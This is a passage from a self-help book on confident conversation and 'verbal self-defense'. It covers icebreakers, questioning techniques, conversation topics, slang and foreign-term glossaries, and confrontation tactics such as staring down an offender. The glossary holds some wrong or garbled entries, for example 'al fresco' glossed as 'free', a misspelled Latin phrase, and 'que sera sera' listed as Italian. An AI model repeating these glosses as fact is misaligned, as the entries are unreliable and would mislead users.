themselves. Often they can never forgive you. In order to avoid giving them an answer they may not want to
hear and to circumvent the dilemma of being damned if you speak and damned if you don't speak, be
diplomatic. If you sense that they will hold a grudge against you for life, think carefully about answering them.
It may seem like the cowardly thing to do, but it is your judgment call. Trust your instincts. Another tactic is to
change the subject or excuse yourself from the room for a moment (go to the bathroom, for instance). This
might buy enough time that they will forget and go on to another topic. If they persist, tell them that you feel
uncomfortable and don't want them to hate you if they don't like the answer they are about to hear.
If you are the recipient of the news, take full responsibility for asking the question, and most importantly,
“don't kill the messenger.”
Page 117
Chapter 9
Confident Conversation
The Real Secret of Talking to Anyone
You can read a million self-help books on how to have a great conversation. In fact, I know of about five books
on the market with similar titles about how to speak to anyone about anything. Television interviewer Barbara
Walters released one of these books in the '70s; more recently, talk-show host Larry King had one published.
You can sum up this entire topic up in just four words: Be interested—not interesting!
Listen and ask sincere questions, and you'll be surprised at how many successful business liaisons you will
develop and how many friends you will make. No matter how you deny it, everyone—you, me, and everyone
else in the world—loves to talk about their favorite and most interesting topic—themselves! When you
stimulate that topic, they like it, and in turn they like you!
Page 118
Understanding the Four Steps of Confident Conversation
Now that you have the tools for a great verbal mechanism, you have to put them to use. What better way than
to have a conversation with others?
In this section, you learn about the four basic steps to holding a confident conversation.
First, you will learn about pre-conversation, what to do before you even approach someone and initiate a
conversation with them. The second step is initiating the conversation. This involves the key questions to ask
once you have approached someone and subjects to avoid. You will also learn how to maintain the
conversation once it has begun, and finally, the key to exiting a conversation with confidence.
When you are done reading this section, you'll have all the tools necessary to be confident enough to talk to
anyone, any time, and under any circumstances.
Confident Pre-Conversation.
Whether you realize it or not, your conversation begins well before you have even opened your mouth. Those
with a lot of experience dealing with people—such as a salesperson or a social butterfly—find it second nature
to meet and greet people. But most people feel uncomfortable going up to a stranger and talking to them. The
thought of doing it leaves most people either paralyzed or with a sick feeling in the pit of their stomach. So, if
you can relate to this, rest assured you are not alone. Everyone gets rejected and feels bad, so join the club.
Only this time, you have pre-conversation tools to help you gear up for the gut-shaking event about to take
place. Before you begin, you have to visualize something good happening with the prey that you have picked
out to experiment on.
Ending the “I Think That You Think That I Think” Game Forever!
For the most part, who cares what people think about you? Even if they don't like you, before even meeting
you, they won't have laser beams coming out of their eyes to burn you. Usually, what a stranger thinks about
you is irrelevant and none of your business. As long as you like you and feel secure with yourself, that's what
counts.
So stop making yourself nuts playing the “I think, you think, I think” game. The truth is that they aren't even
thinking about you or anything else. They may have a sourpuss expression on their faces because they are
hungry or their tummy hurts.
Page 119
If your mind starts to play the “I think, they think” game, stop yourself immediately using the “cancel that
thought” technique. Only instead of doing this technique by speaking out loud, think it silently to yourself.
Smile All the While
Stop! Look and smile, and keep looking and smiling! That is the best way to meet someone you are attracted
to. If someone looks at you, smile back out of respect. If you are not interested, make it a short, curt smile and
then look away. This shows that you have politely acknowledged him or her. If you are attracted to the person,
no matter who looked at whom first, simply smile a little longer and say hello. If they return your hello, you
have a golden opportunity to start talking and to make a new friend. I have met so many people this way,
especially in airports, and many of them have turned out to be some of my closest and dearest friends.
Granted, at first it may be very uncomfortable for you to make this behavior part of your life. But with practice
it will become a habit, and a pleasant one at that.
Do It Anyway!
Come on—just smile! Even though you don't feel like it, do it anyway! Nine times out of ten, the other person
will smile back.
If you're having trouble kick-starting your smile, simply visualize yourself smiling at them and them returning
the smile, accepting you, returning your

Page 120
compliments, and engaging you in conversation. Visualize yourself having them as a potential client, employer,
employee, friend, lover, or even mate.
Now visualize the reverse. See the situation being a disaster, with them paying no attention to you, giving you
dirty looks, and walking away from you. Did you die? No, you survived, with all your parts intact. So what's
stopping you? What's the worst that can happen? Let's say that the person rejects you. There is nothing bad that
can happen, not even bruised ego, because this is also an exercise in seeing reality—the reality that not
everyone will be attracted to you nor will you be attracted to them.
After your positive and negative visualizations, enter the situation with a clean slate, erasing from your mind
every pre-conceived notion about the person and about yourself. Remember to do the Relaxation Breathing
Technique before you make your move. Now go for it! Do it! Smile!
You Die When You're Shy!
You both connect with one another, you've returned glances and smiles, but what to do you next? You're
paralyzed with fear. You rationalize that you are feeling this way only because you are “a shy person.” Well, if
that's what you want to believe about yourself, you may as well crawl into a hole and live there.
Life is to be lived. Opportunities are to be taken and people are to be met. If you have ever felt like kicking
yourself, even years later, for not making that first move and saying something, you are not alone.
To make sure this situation never happens again, re-label yourself and remove the word “shyness” from your
vocabulary. You have nothing to be shy (insecure) about anymore.
Of course, you have to have something to say, and in the rest of this chapter you'll learn what to say to break
the ice.
Only a Fool Plays It Cool!
There are those who think they are being cool by acting aloof. Even if they are chomping at the bit or drooling
at the mouth and would give almost anything just to meet the person across the room, they don't. It's not
because they are shy and intimidated, it is because they are trying to act “cool.”
This coolness takes the form of not looking at people or returning their glance or smile. It's looking down or
pretending to be very animated in conversation with someone else. It's designed to let someone know that you
are cool—a catch—albeit difficult to catch. Acting cool is quite common among young people in their teens
and twenties, but it often continues into adulthood. It's a power game that establishes who's going to be in
control. Just remember, the people who play this game ultimately lose.
Page 121
The cool people may lose an opportunity to enhance their professional lives. The person they have snubbed
may have been an important conduit towards success in their career.
Initiating a Confident Conversation.
Coolness aside, here are some things not to do when initiating a conversation. Otherwise your conversation will
end before it begins.
• Don't tell lame jokes or a joke where there is a 50 percent chance people won't like it.
• Don't excessively fawn over the person.
• Don't make sarcastic comments or cutting remarks in an attempt to appear cute. There's nothing cute about
being obnoxious.
• Don't lie to give someone a compliment, and don't use a standard line they've probably heard a thousand
times before.
Instead, here are some icebreakers guaranteed to help you initiate conversation.
• Give people a sincere compliment without fawning over them.
• Bring up a current news event (the juicier the better!).
• Speak positively about people whom you both may know.
• Tell people you observed them and thought that they
a. Resemble a friend, relative, or famous person.
b. Look like they are from ____ (This can be whatever you decide. Just don't say Mars or make a lame
comment.)
c. Work out or are in good shape. Ask if they are athletic.
Maintaining a Confident Conversation
So many people become mute after they say “hello.” They have succeeded in getting the person to
acknowledge them and to make that first contact. Now they freeze, go blank, and stand there like a deer in
headlights, not knowing what to do or say and mumbling about something stupid.
If this scenario sounds all too familiar and you've been there/done that, help is on the way!
The reason you acted like a vegetable is that you began to focus on yourself instead of paying attention to the
other person. You were more concerned about things working out right and about being interesting, witty, and
clever than you were about what the other person was all about. In essence, you were not interested. You may
try to contradict me here by saying “of course I am interested, or I wouldn't have approached them
Page 122
in the first place.” True, you were interested, but you were interested in you making a good impression. If you
shifted your attention away from yourself, you would never have felt so awkward and out of place.
Ask, Ask, and Keep Asking!
The first rule is to ask questions, but not invasive ones. What I am actually saying is to think before you speak
so that you don't put your foot in your mouth and embarrass or insult everyone, including yourself. Instead, try
to find some common ground as you continue to ask questions and relate to the person.
Elaborate—Don't Interrogate!
In the Elaboration Technique, you ask the person who, what, when, where, and why—questions. Use
techniques developed by journalists. Remember to ask your question and then elaborate on the person's answer
by asking another question related to their last answer.
This is a wonderful technique that helps you uncover things you both might share in common. If their answers
are curt, if they seem annoyed, bored, or disinterested, ask another question, or cut the conversation short, it's a
hint that they may no longer wish to speak with you. So leave!
Remember to maintain eye-to-eye contact at all times. It gives you a better opportunity to observe a person and
react to what you see. In doing so, you will make the person feel important and make yourself aware of their
facial and body cues. These invaluable messages will also let you know, in a non-verbal way, that they wish
you'd leave, or that they couldn't bear it if you left. The example in the “Talk Back!” section on the next page
clearly illustrates how a compliment about a dress initiates the topic of travel, which results in the two people
realizing they have something in common, which is further elaborated on to find another commonalty, and so
on and so on.
Studies have shown that the more you have in common with someone, the more likely you are to begin a
relationship. Thus, the Elaboration Technique is just the tool you need to discover potential friends.
Page 123
Talk Back!
Hillary: I like your pretty dress. It's so colorful.
Adrienne: Why, thank you.
Hillary: Did you buy it locally?
Adrienne: No, I got it on my trip to Italy in Capri.
Hillary: This is unbelievable! I just came back from Capri last week. My
husband and I were there to see his family; they have a jewelry business and one
of the largest jewelry shops on the island.
Adrienne: Really? Which one?
Hillary: It's the one in the center of town across from the plaza.
Adrienne: I know the place! I was there! Look, I got this bracelet there.
Hillary: What a coincidence! I can't believe it! Why were you in Capri?
Adrienne: I was there on my honeymoon!
Hillary: So was I!
Here are some extremely important tips for maintaining a conversation:
• Be interested, not interesting.
• Be mindful of your own body and facial language so that you don't invade the person's space.
• Cultivate a wide range of conversational topics that you acquire through the media.
• Have a sense of humor, but don't be a jokester or obnoxious.
• Don't interrupt!
• Be enthusiastic, but not so overly animated so that you come across as phony.
Getting Deeper and Deeper.
Let's say the conversation is going quite well. You discover more and more about one another. You're learning
about your similarities as well as your differences. If you understand the person and can relate when you talk
about specific topics or philosophies, there is a greater chance that this person will feel more favorably towards
you—even become part of your life. If you enjoy the same topics and can speak each other's language (and that
doesn't just mean standard English!), you're both doing well.
What Shall We Talk About?
Topics of conversation come in three categories, from the more basic and superficial to the deepest. Studies
have shown that the deeper the level of conversation and the
Page 124
more numerous the similarities, the deeper the bond will become. Following is a list of the three categories,
from most shallow to deepest, and the topics within each one.
Category 1—Basic Needs
• Food (restaurants, preparation, recipes, favorite meals)
• Travel (vacations, where you're going to go, where you went, likes and dislikes, what you saw and bought
and ate)
• Clothing (styles, shopping, bargains, where to go, accessories)
• Shelter (homes, location, areas, decoration, values, real estate)
• Safety (weather, protection, crime prevention, natural and unnatural disasters, dangerous areas)
Category 2—Relationships
• People/family/interpersonal relationships
• Good, bad, and former relationships
• Dating
• People in the news, celebrities, and other high-profile people
• People you have in common (both those you like and dislike)
• Employers, employees, and co-workers
• Other interesting people you have met
• Foreigners, people you have met in your travels, and people from different cultures
• New information about specific people
• People you admire, people who revolt you (for example, odious newsmakers)
Category 3—Interests, Achievements, and Opinions
• Travel (culture, history)
• Past history of nations
• Political situations in countries
• Attitudes and opinion towards specific news events
• Value system
• Job challenges, career development, past career achievements
• Achievements, failures
• Arts and entertainment opinions and information (film, plays, music)
• Politics and religion (preferably if they are in common with yours)
• Health issues, fitness strategies
• Relationship philosophies and personal application
Page 125
Know What You're Talking About!
“A little knowledge is a dangerous thing,” so make sure you know quite a bit about a subject before you spout
off. If you're giving someone information, make sure it's the right information. Otherwise keep quiet! There is
nothing more annoying than a “know-it-all” who knows nothing.
If you're unfamiliar with a topic, don't be afraid to say so and ask questions of people.
If they are impatient with you or act as thought they think you are stupid for asking, let them know in no
uncertain terms that they are out of line. Their intolerance certainly tells you a lot about how toxic they are. So
watch out for them! Their actions may have revealed that they are a person from whom you need to keep your
distance.
Bingo! You Got the Lingo!
There is perhaps nothing more embarrassing than trying to relate to someone while using the wrong words or
lingo in the wrong context. People will laugh at you, think you are not hip, or think you're trying too hard to
relate.
So what are you supposed to do if you don't know what a word means? Don't be embarrassed. If you don't
know, ask “what do you mean by ___?” This way, you add a new word to your vocabulary.
If you can speak a person's language, you usually have that person on your team, because you can identify with
one another and know what the other is really trying to communicate. When I first started doing talk shows I
didn't always understand the language that was spoken. However, as time went on, I have learned how to both
speak and understand some of today's hippest words. I have learned how to talk “street.”
Chillin' does not mean sticking something in the refrigerator. It means to relax or hang out. Fly doesn't mean
that pesky insect that sits on your hamburgers when you're picnicking. Instead, it means great looking—sexy. If
someone thinks they are all that, they are full of themselves and think they're fly. Bad means good. Homey does
not mean a cozy house, nor do homes mean a group of houses. Derived from the word homeboys,
neighborhood gang members, it means buddy or close friend. An even closer friend is a bro, which can also be
used as a greeting. “Hey bro wuss happenin' man” means “Hello, how are you?” When you kick 'em to the
curb, you aren't literally using your feet to push them over the edge of the pavement. Instead, you are getting
rid of someone with whom you haven't had a happenin' (good, working) relationship.
Page 126
Talking Ethnic
In order to bond with someone from a different culture, it's best to know what certain words mean before you
use them. An American ice skater went on Australian television and said “when I last skated, I fell on my
fanny.” To an American that's not funny at all, but to an Australian, it's hysterical! Translated into Australian,
she said “when I last skated, I fell on my vagina.” So you have to be careful. To help you, I have come up with
a list of some common ethnic words and phrases (many familiar to you) so that you will know what people are
talking about when you hear them. If necessary, I list their pronunciation after the term.
Latin Terms Commonly Used in English
• modus operandi (MO)—method of procedure
• modicum of decorum—way of behavior
• per diem (per DEE um) or per annum—by the day or by the year
• in absentia—in one's absence
• status quo—the present state of things
• de facto—in actuality
• ex post facto—after the fact
• pueris enternis—man refusing to grow up
• per se (per SAY)—in itself, intrinsically
• persona non grata—person not welcome
German Terms Commonly Used in English
• wunderkind (VUN der kind)—talented, precocious child
• angst—foreboding or anxiety
• doppleganger—mirror image
• verboten (vayer BOAT tin)—forbidden
• gesundheit (gez ZUNT hite)—to your health (said after one sneezes)
• zeitgeist (ZITE guyst)—spirit of an era
• wanderlust—yearning to travel
Yiddish Terms Commonly Used in English
• mishigas (mish shig Goss)—insanity
• shlep—drag
• mensch—a person who does good by others
• yenta—gossipy person
• chutzpha (HOOTS pah)—a lot of nerve
Page 127
• klutz—clumsy person
• shlock—cheap stuff
• nebbish—weak, unhip person
• kvetch (kuh VECH)—gripe, complain
French Terms Commonly Used in English
• vis-à-vis (VEE zah VEE)—in relation to
• déjà vu (day zhah VOO)—illusion something happened before
• double-entendre (on TAWN druh)—expression with a double meaning
• malaise (mal LAYZ)—a blue mood or funk—not feeling well
• nuance (NOO wawns)—subtlty
• passé (pass SAY)—out of date or style
• pièce de résistance (PEE yes dah ree zis TONCE)—the best of something
• voilà (vwah LAH)—There it is!
• crème de la crème (krem day lah krem)—The best of the best
• c'est la vie (say lah VEE)—oh well, that's life!, that's the way it is
• tres chic (tray SHEEK)—fashionable and sophisticated
• avant-garde (ah vawnt gard)—ahead of its time
Italian Terms Commonly Used in English
• ciao (chow)—goodbye for now
• incognito (in kog NEE toe)—in disguise
• al fresco (all FRES koe)—free
• terra firma—solid ground
• que sera sera (kay suh RAH suh RAH)—what will be will be
It's Over—I Wanna Go Now
As the old saying goes, it takes two to tango. Just as the person you are talking to might be turned off to you, it
goes both ways. The other person may not be all that you bargained for. The main thing is to maintain your
dignity and that others maintain theirs. Never be a hypocrite and say that you'll call or get together with them if
that is not your real intention. This makes for ill feelings in the long run.
If you never intend to see someone again, just tell him that you enjoyed speaking with him. If you want to
move on and talk to someone else, do so, but do it graciously. Say: “I'm glad we had the opportunity to chat.
Would you please excuse me, because I need to speak to someone over there.” If you just want to mingle, tell
them: “I'm glad we
Page 128
met. I am going to mingle now” (or “meet some other people”). Always remember, the last thing you say
leaves a lasting impression, so be gracious and leave with a firm handshake and a smile.
Don't Be a Liar—Follow Up Immediately!
If you said something during the conversation that requires a follow-up, then follow up. Forgetting is no
excuse! Write yourself a note and put it in a place where you'll be sure to see it. Do it! Whether it's giving
someone a business call, placing her in contact with another person, sending him an article, or anything else,
act immediately on what you said!
Never Say You'll Call If You Don't Mean It!
I can't begin to tell you the number of people whom I have seen with broken hearts, people who have literally
waited by the phone for that expected call and never received it. Even if they had a phone answering machine,
they sacrificed going out somewhere to personally pick up the phone to hear the promiser's call. So if you don't
intend to call, don't say you will! If you think that by saying it you're being polite, you are not! In reality, you
are being extremely rude and potentially hurtful! You have even elicited negative feelings in the person whom
you promised to call.
In the same vein, don't say “let's get together” or agree to get together if you don't intend to do it. It is usually
taken seriously and can elicit negative feelings about you from the people you misled.

Page 129
PART 3
VERBAL DEFENSE STRATEGIES TO USE IN COMBAT
In earlier chapters, you took a good look to determine who your verbal enemy might be. You learned to identify
certain characteristics of these wild and savage verbal beasts who are dangerous to both your physical and
emotional health. You should now feel confident in your abilities to spot these beasts as you wander through
the jungles of life.
You have prepared yourself for defense in every way possible. You are now verbally armed to the point where
nobody should mess with you—or else! You have the strongest weapon imaginable, which can guarantee that
you have the winning advantage in fighting a verbal war. It is a weapon so precious that your adversary can
never get his or her hands on it. That weapon is self-confidence.
Now that you've assembled all of your equipment, this part of the book shares with you all you need to know
about which verbal and non-verbal strategies to use and how and when to use them. You will also learn how to
use more sophisticated verbal weaponry if needed. You will learn the signals to alert you to the fact that the
verbal war is over.
No matter whether you win or lose the verbal war, there is always the aftermath of emotional devastation.
Thus, you will learn how to pick up the pieces and rehabilitate yourself after leaving the verbal battlefield. You
will find out how to heal your emotional wounds. Finally, you will learn how to deal with the aftereffects of
post-traumatic verbal shock syndrome.
Page 131
Chapter 10
Verbal Defense Strategies
Entering the Verbal Combat Zone.
You need to be prepared for everything and anything as you learn the art of verbal self-defense. You might not
be looking for a fight, an argument, or any problems. For example, you go out to walk your dog, and a perfect
stranger walks by and tells you a dead dog story—something you don't want to hear, especially at 7 A.M. Then
you go to the corner to buy a newspaper. As you put out your hand to pay the vendor, someone in line curses
you because she says she was there first, even though you know that you were there before she was. Next, you
unsuspectingly go to get a cup of cappuccino at an upscale coffee shop on the corner. You are met by a nasty,
abrupt, impatient server who looks at you in disgust when you hand him a ten dollar bill and he is forced to
make change for you. As you sit down, you see someone sitting alone at the next table. You smile and say good
morning, she looks away as though you were invisible.
Your day is filled with meetings, but before it begins your boss is barking out commands devoid of “please” or
“thank you,” or, for that matter, any terms of politeness. He shouts only about the few things you did wrong,
ignoring the fact that you did everything else right. In fact, you have done things so right that you are still the
number one salesperson in the company over the past six months.
Page 132
As if your day couldn't get any worse, you finally get to go home and relax, only to discover that you are
getting the silent treatment from your spouse for something you must have done. No kiss, no hug, nothing.
Perplexed, you ask “what's wrong,” only to hear “nothing's wrong!”
Could things possibly get any worse?
Guess what? You have just entered the verbal combat zone! But there is good news—you need not be a victim
anymore! Help has finally arrived! The pages to come will show you how to effectively strategize to defend
yourself against these foes. You will never be a verbal victim again.
A Verbal Weakling No More!
Remember the cartoon where the big buffed-up bully kicks sand in the face of the 90-pound weakling? Then
the little guy works out and pumps up. Now he's the one who kicks the sand kicker's behind as he's bigger and
stronger after a regimen of weight training and diet.
You are in the same position as the little guy. You are going to be trained and fed with the proper verbal
nutrients—the right words to say to any adversary in any circumstance. This in turn will allow you to pump
yourself up and kick some verbal butt!
Verbally Pumping Up
Just as the boxer, wrestler, and karate champion have to do a standard workout before they get into the arena to
defend themselves against their opponents, you have to do the same.
They have a daily physical exercise regimen that requires exercises to stretch and build up the muscles in their
upper and lower body. They do this every day to make themselves stronger, more limber, and more confident
in their physical abilities.
Similarly, you need to have a daily verbal exercise regimen that prepares you for any verbally venomous
opponent you will encounter. You need to work out the physical, verbal, and communication skills discussed in
Chapters 6, 7, and 8. Doing exercises for posture, breathing, voice, jaw, nasality, pronunciation, and
communication skills will help you become more verbally limber and more confident in your communication
abilities.
Imaginary Conversation Strategy
You need to practice what you are going to say to your verbal adversary. You need to imagine yourself talking
to him, playing out every possible scenario in your mind. Then, when it comes time for you to face the real
situation, it will be a piece of cake

Page 133
for you. You will have already rehearsed what to say in every possible outcome so that you are no longer
nervous when you have to have a face-off on the verbal battleground.
As you talk to yourself, imagine asking out the guy or girl you like.
Imagine them saying “yes.” Then imagine them saying “no.” Finally, imagine them saying “maybe.” Practice
what you would say in each of these possible outcomes.
Now, in your mind, ask your boss for a raise. Picture yourself sitting down in the chair in front of his desk. See
yourself sitting with the confident sitting posture you learned about in previous chapters. See yourself looking
directly at his face as you say, “Mr Brown, I have been with the company for over four years and have brought
in thousands of dollars of new business every month. This is why I feel comfortable talking with you about the
possibility of raising my salary.”
See yourself, hear yourself, feel yourself going over and over the scenario. Going over it while picturing
yourself gives you confidence. Do it over again and again, until you are devoid of stammering and mumbling.
Bear down on exactly what you want to say until it is committed to memory. Practice until saying what you
want to say becomes second nature to you. Now again, visualize your reaction if the boss says “yes,” then your
reaction and response if he says “no” or “maybe.” By the time you have to actually sit down in front of your
boss and ask him for a raise, you will be 150 percent prepared.
Use this strategy to practice telling someone off or confronting someone who has betrayed you. After
examining every possible scenario in your mind, you will know exactly what to say and how to say it to your
verbal adversary.
Chapter 11 explains how to use each of the verbal strategies available to you. Then you can effectively use this
“Imaginary Mirror Technique” with a specific verbal strategy that you have picked.
Through the Looking Glass
The best way to practice the Imaginary Conversation Strategy is while you are looking into a mirror. That way,
as you talk to yourself, you will be more conscious of your facial expressions, posture, voice, and how other
people see you. You might want to put a tape recorder near you as you rehearse the various scenarios while
looking in the mirror. It can serve as a barometer to let you know how you come across vocally during certain
levels of anger or excitement.
The very best time to practice is in the morning when you are already looking in the mirror to either shave or
put on your makeup. Why not take a few extra moments to

Page 134
practice your strategy? You can even do it in your car when you are alone, perhaps while driving to and from
work.
Knowing When to Attack Back
It is only when you really know yourself (which you probably do by now, having read Chapter 8) that you
become utterly confident and secure that you are doing the right thing. You automatically know when to take
matters in your own hands and attack back! You know what your limits are. Nobody else but you does.
In order to feel more comfortable attacking back, think of all the times in your life when you didn't attack back
or respond to your verbal adversary. Think about how you felt immediately afterwards, two hours later, during
your sleep (not being able to sleep, or having a bad dream about it), and when you got up the next morning. In
the following chart, put an X next to the times of the day when someone said something that bothered you.
Write down as many situations as you can remember, even from childhood, where you took the verbal abuse
and didn't react immediately.
What Your Answers Mean.
Do you see a pattern here? Do you think immediately afterwards about what happened? If you do, that's good.
It's a normal reaction. You obviously need a few

Page 135
minutes, even up to a half hour, to digest exactly what they said. You probably wish you had said something
back, but it's too late and you let it go. Your letting it go and really forgetting about or not paying attention to
what happened is not lip service. You have a productive and healthy way of dealing with toxic individuals.
If it's still in your mind two hours later, that's starting to be a problem, because it's wasting time that you could
have spent thinking about more positive and productive things.
If it has kept you awake, or tossing and turning, you are in big trouble. If it's giving you an upset stomach or
heartburn, makes you throw up, or makes you feel like unzipping your skin and jumping out of it, then you are
also in big trouble. Now the fact that you didn't respond has affected you physically. That is dangerous. If it
happened in two situations or more, then you have developed a pattern of making yourself sick over not taking
action. You are literally “kicking yourself,” causing yourself pain and agony because of your nonconfrontational
behavior.
If you have ever thought about the situation as soon as you got up in the morning, you have probably awakened
with either a headache or nausea. Even if you are feeling just a little nauseous, it's still nausea. The toxicity of
the situation and your not dealing with it has crept into your internal organs—namely, your stomach and your
brain. It has affected your blood flow, not to mention consuming your thoughts. If you woke up with the
problem on your mind, chances are that you will likely be thinking about it periodically during the day or
perhaps all day long. Now your poor internal organs are being tortured by your lack of dealing with the
situation.
Two days have gone by, and you are still undergoing mental torture. Every time you think of what happened,
you get restless, and your face has a tense and angry expression. By now you have told everyone what
happened, to get some relief and support so that you won't have to carry this heavy burden all by yourself.
Some of the people you tell take your side; you lose respect for and get mad at those who don't. Now you have
two problems—the one that's been bugging you for two days and the loss of some people you thought were
your friends. In your mind, they proved who they are and you plan to drop them like a hot potato.
Two days pass, now a week, and you are still thinking about what you could've, should've, or would've done if
you had it to do all over again. By now you have developed chronic head and stomach pains, in addition to
back and neck pains. Every time you think about it, you literally get sick. This is the time to see a therapist.
You not only need to get treated for your physical back and neck pains by a chiropractor. You need to be
treated for your mental pain by a psychologist.
Page 136
Keep Your Eyes and Ears Open at All Times
The first thing you need to do when dealing with a toxic situation is get your head out of the sand and face the
situation directly. If you don't do this the only one who is going to get hurt is you.
The first step of any martial arts training is to keep your eyes fixed on your opponent so that you can anticipate
any move he or she makes. This way you can block his kick, and take him off balance by leaning back or going
forward. The same is true in the verbal arts. You need to keep both your eyes and your ears on the alert at all
times.
It's time to come out of the closet! It's time to admit to yourself and to everyone else that you are a human
being. You are a human being who both requires and deserves respect—respect from others, and most
important of all, self-respect.
A self-respecting human being would never allow the earlier scenario to go so far. She would nip it in the bud
immediately! When a soldier is engaged in actual battle on the battlefield, does she wait two hours, a week, a
month, or a year to deal with the enemy who has just attacked her? Of course not! It goes without saying that
she would be dead if she didn't handle the situation immediately!
Make a Choice and Make It Now
The soldier has choices, but he has to make those choices in a split second. His choices determine the outcome
of his well-being. He can run for his life, he can hide, he can shoot back, or he can use a hand grenade and
blow everything to bits. He also has another choice, and that is to do nothing and die in battle.
This scenario would never have happened at all had the leaders of the two opposing sides sat down in an
attempt to make peace with one another.
Even though this is a rather harsh analogy, it's the naked truth! After all, this book is about defending yourself
against the enemy—the verbal enemy!
The strategy for verbal self-defense is no different from the one the soldier uses. You, like the soldier, have to
make choices—and immediate choices at that! The choices you make determine the outcome of your wellbeing.
You can run for your life and never look back (the Unplug Strategy). You can shoot back (Mirroring
Strategy). You can really let the verbal enemy have it, by verbally blowing him or her to bits (Give 'Em Hell
and Yell Technique). Finally, you can do nothing. You can simply remain silent and allow the verbally abusive
enemy's toxins to fester inside you, to the point that it makes you mentally or physically ill. If the verbal abuse
takes place over long periods of time, the end result can even kill you!
Page 137
Picking Your Strategy
Now that you know that you have to make a choice, because your life can literally depend on it, you need to
know that you are in complete control. You are in control of picking the right strategy to use at the right time
with the right verbal enemy. If one strategy doesn't work, know that you have others from which to choose.
The thing to remember in picking your verbal weapon is that, like the martial artist, you are never initially on
the offensive. The black belt in karate keeps her lethal weapons (her hands and feet) under wraps until she must
defend herself.
Similarly, you too need to keep your verbal weapons under wraps until the point that you have to verbally
defend yourself.
The Verbal Artist Has Complete Control!
In order to be in complete control, there are four things you need to remember, no matter what:
1. Enter every situation in the verbal battlefield with an open mind.
2. Observe “what is.”
3. Take a moment to pick your strategy.
4. Go ahead and defend yourself.
In the first step, you, the verbal artist, come into any situation “clean” and weaponless, with no hidden agenda,
like the martial artist. You leave your ego at the door. You have no chip on your shoulder. You are just
“you”—open, honest, and not offensive in any way. This means that you never initiate an attack, consciously
saying anything that is verbally toxic to another person. You, like the martial artist, are calm, open-minded,
pleasant, and accepting of everyone who crosses your path.
When using the second step, by simply observing what “is,” you, like the martial artist, are not concerned with
the past: you deal only with the present, experiencing the here and now. Therefore, neither you nor the martial
artist is burdened by excess baggage.
Page 138
You both have learned to let go. You have learned not to take a toxic situation from the past into your present
time and space. As a result, peacefulness and pleasantness reside in your demeanor, your body language, face,
language, verbal tones, and in everything you happen to say to others.
For the third step, while continuing to take control over the situation, make certain that you are in absolute
conscious control by controlling your breathing. In Chapter 11, you learn how to effectively control your
breathing using the Breath Control Technique. This technique gives you the split-second timing to reach into
your bag of “verbal self-defense strategies” and pick the one appropriate to that particular situation.
Picking the right verbal weapon with which to defend yourself does take a lot of skill. But don't worry. With a
lot of practice, you, just like the black belt in karate, will learn to develop the skill to become a verbal black
belt.
The martial arts expert is well-versed in his stances, blocks, and kicks. By having control over the situation,
you are equally well-versed in your stance (head and body posture), moves (facial, arm, and hand movements),
and kicks (verbal self-defense strategies). The martial artist has physical advantage over his opponent; you now
have vocal advantage over your opponent.
Now for the fourth step. When the martial artist decides to kick back, watch out. The results are not pretty.
Neither are they pretty when you decide to “kick back” verbally, as your opponent will definitely get a dose of
his own verbal poison. He might even get more than he bargained for. Because he will be completely disarmed,
rest assured that he will definitely think twice about attacking you—the verbal black belt—or anyone else, for
that matter.
Page 139
Chapter 11
Letting Them Know They've Overstepped Their Verbal Boundaries
If you are to gain an advantage over your opponent, you must have both the knowledge and the ability to
choose and use verbal self-defense techniques, depending upon which ones are called for.
Techniques range from silence to taking extreme verbal measures. The key is letting someone know that she
has clearly overstepped her boundaries.
Learning each of these verbal strategies is so important because it helps you rid yourself of any toxins that
might reside in your system as a result of keeping the verbally venomous person's poison within you.
In Chapter 10, you learned that you must never keep any of the verbal venom inside of you, and that doing so
can be deleterious to both your physical and mental health.
Silent, Expressionless, Blank Stare
The silent, expressionless, blank stare occurs when you immediately stop everything you are doing and freeze
as you blankly stare down your opponent. This often throws your verbal adversary so off balance that he
doesn't know what to do.
Page 140
In this case, silence is truly golden. You most likely grew up with this technique being done to you. As a child,
all your mother or father needed to do was to give you that “look,” or rather, “non-look.” First came the
expressionless stare, followed by silence, followed by a furrowed brow and then, the verbal reprimand. After
some time and many blank stares, it got to the point where all your parents had to do was to give you that look
and you immediately knew you had to behave. Teachers often use this technique to get their students to be
quiet and to pay attention.
It's most disconcerting to see a face that is usually full of expression and life turn mask-like. It's so
disconcerting to be shocked by this out-of-context facial non-expression, that you tend to stop whatever you are
doing, just to make sure your eyes are not deceiving you.
Now that we have established that this technique definitely works, you need to use it as part of your repertoire
in verbal defense. Imagine that someone says something really insulting to you. Here are the steps you need to
take to stare him down.
1. Immediately stop whatever you are doing.
2. Take a small breath of air in through your nose. It is important to aid in your silence that you not inhale
through your mouth. Because you are not going to be speaking, you don't need to fill your abdominal area with
air. You are not going to be making any rich sonorous tones.
3. Hold the breath. By holding your breath, you are slowing down your heart rate as well as focusing your
thoughts, so that you are in total control of the situation.
4. While still holding your breath, relax every one of your facial muscles. Visualize your forehead relaxing,
along with your eyelids, nose, cheeks, lips, jaw, and chin. From the top to the bottom of your face, feel your
muscles relaxing so much that your face becomes expressionless.
5. Now look in the direction of the verbal perpetrator. Just stare at him. Try not to blink; just stare. Usually
after 3 seconds, he will feel so uncomfortable that he will
Page 141
most likely say “What's wrong?” or “What are you looking at?”—with a small chuckle and an
uncomfortable tight-lipped smile.
6. Do not speak! Just keep staring. As soon as he has spoken, you know you have gotten the upper hand in the
situation. See how fast the tables have turned. Now it is you who are in control. His attempt to overpower you
by his toxic words is nullified. Your facial shield protects you from giving him any satisfaction for trying to
annihilate you with his verbal bullets. Now, he is the one squirming, not you.
By the way, as soon as he starts speaking, which he will do in a matter of seconds, you can release your breath
so you don't turn blue and pass out.
The Look of Disgust Strategy
The Look of Disgust Strategy is very much like the Silent, Expressionless, Blank Stare Strategy. Instead of
having no expression on your face, however, you have an expression of disgust. This technique is especially
disconcerting to your opponent because he was not expecting this—someone scowling at him in disgust,
staring at him, and saying nothing.
Now he is really thrown off balance. He might start to furrow his forehead and knit his brows together,
tightening up his jaw as he says, in a defensive tone, “What's the matter?” or “Why are you looking at me like
that?” If he is really uncomfortable, you might hear those infamous four words, “I was only kidding.” There is
no way he was “just kidding.” You know it and he knows it. And now he knows that he can't speak to you the
way he did. Your facial expression speaks volumes.
To make the Look of Disgust:
1. Raise your upper lip.
2. Wrinkle your nose.
3. Open your mouth.
4. Raise your chin.
5. Squint your eyes.
This is a universal expression. People from every culture use this facial expression to reflect the emotion of
disgust.
Page 142
Let It Go—Breathe and Blow Strategy
